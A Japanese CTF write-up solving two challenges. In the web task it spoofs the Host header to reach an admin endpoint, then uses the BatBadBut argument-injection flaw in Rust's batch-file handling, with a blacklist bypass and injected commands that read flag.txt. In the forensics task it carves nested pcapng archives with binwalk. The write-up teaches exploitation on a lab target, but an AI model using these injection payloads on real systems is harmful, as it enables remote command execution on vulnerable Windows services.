[web] Malkonkordo
ソースコード有り。Rustで書かれたMarkdownビューワーが与えられる。ソースコードを巡回すると管理者限定でコマンド実行できるエンドポイント GET /ai/run
がある。これを動かす前に管理者であることを確認するフィルターがある。
async fn middleware_localhost<E: Endpoint>(next: E, req: Request) -> Result<Response> { // No authentication? -T // "I [too] like to live dangerously." -V if let Some(host) = req.uri().host().or(req.header("host")) { if !host.trim_start().starts_with("127.0.0.1") { return Err(Error::from_status(StatusCode::UNAUTHORIZED)); } } else { return Err(Error::from_status(StatusCode::UNAUTHORIZED)); } let resp = next.call(req).await?.into_response(); Ok(resp) }
接続元が127.0.0.1からであることを確認するものだが、req.header("host")
というのがありHostヘッダーからも情報取得していた。なのでリクエストヘッダーのHostヘッダーに127.0.0.1を入れれば偽装できる。試しに以下のようにリクエストを飛ばしてみると環境変数の一覧が得られた。
GET /ai/run?cmd=env&arg= HTTP/1.1 Host: 127.0.0.1 → … CARGO: \\?\C:\Users\ctf\.rustup\toolchains\1.76-x86_64-pc-windows-msvc\bin\cargo.exe …
環境変数を見るとRustのバージョンは1.76のようである。実行可能なコマンドはいくつかあるが、ping2というのにブラックリストフィルタリングが実装されていて、しかもバッチファイルを呼び出していて非常に怪しい。
"ping2" => { if arg.contains(['\'', '"', '*', '!', '@', '^', '?']) { return Err("bad chars found".to_string()); } let routput = Command::new(".\\scripts\\ping.bat") .arg(arg) .output(); if let Err(_e) = routput { return Err("failed to run ping2 output".to_string()); } Ok(String::from_utf8_lossy(&routput.unwrap().stdout).to_string()) }
シェルスクリプトではなくバッチファイルが動いている。これは…BatBadButか?
Rustも同様に影響があり、関連するSecurity Advisoryを見ると1.77.2未満のバージョンが影響を受けるので環境変数の情報から脆弱なバージョンであることが分かる。
試していこう。ブログ記事に書かれているpayloadの"&calc.exe
を入れてみる。だが、これはブラックリストフィルタリングに阻まれてbad chars found
と言われてしまう。
ブログ記事をよく読むと"
が使えない場合の回避方法も書かれていて"
が含まれる環境変数から"
を持って来るやり方が紹介されていた。これを適用し、%CMDCMDLINE:~-1%&calc.exe
とやってみると応答が帰ってきて、そのうちの入力値が跳ね返ってくる部分がPinging ""...
となっていた。例えばhogeと入れるとPinging hoge...
のように帰ってくるので、意図せず受け入れられてはいそうなので成功はしていそう。calcではなくhostnameを試してみると… 応答末尾にacce4aa638aa
が含まれてきた!実行した際の標準出力が得られる関係で末尾に応答が乗ってくるようだ。RCE達成できた。
あとは、flag.txt
を取得したいので、Windows環境ではtype.exeを使う。スペースが使えるのか分からなかったがやってみると使えて、具体的には%CMDCMDLINE:~-1%&type.exe flag.txt
をargとした以下のようなリクエストでフラグが得られる。
GET /ai/run?cmd=ping2&arg=%25CMDCMDLINE%3a~-1%25%26type.exe%20flag.txt HTTP/1.1 Host: 127.0.0.1 → HTTP/1.1 200 OK … Network checking finished! crew{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}
[forensics] Recursion
USB通信のパケットキャプチャ usb.pcapng
が与えられる。何の通信か正確には分からないが、Windowsベースでファイルのやり取りをしているように見える。binwalkでひたすらファイルカービングすると解けた。
binwalkする。
$ binwalk -e usb.pcapng DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 13811 0x35F3 gzip compressed data, maximum compression, has original file name: "layer4.pcapng", from FAT filesystem (MS-DOS, OS/2, NT), last modified: 2024-04-06 09:43:23
layer4.pcapngが得られた。さらにbinwalkしよう。
$ binwalk -e layer4.pcapng DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 14095 0x370F 7-zip archive data, version 0.4 $ dd ibs=1 obs=1 skip=14095 if=layer4.pcapng of=out.7z
自動で展開されなかったのでddコマンドで手動で持ってきて解凍すると、layer3.pcapngが得られた。どんどんbinwalkしていくと、layer1.pcapngまで得られる。
$ binwalk -e layer3.pcapng DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 13527 0x34D7 POSIX tar archive (GNU), owner user name: "capng" $ binwalk -e layer2.pcapng DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 22811 0x591B Zip archive data, at least v2.0 to extract, compressed size: 3048, uncompressed size: 54768, name: layer1.pcapng 25961 0x6569 End of Zip archive, footer length: 22 $ binwalk -e layer1.pcapng DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- $ strings layer1.pcapng | grep crew crew{■■■■■■■■■■■■■■■■■■}
layer1.pcapngからは何も出てこなかったのでstringsするとフラグが得られる。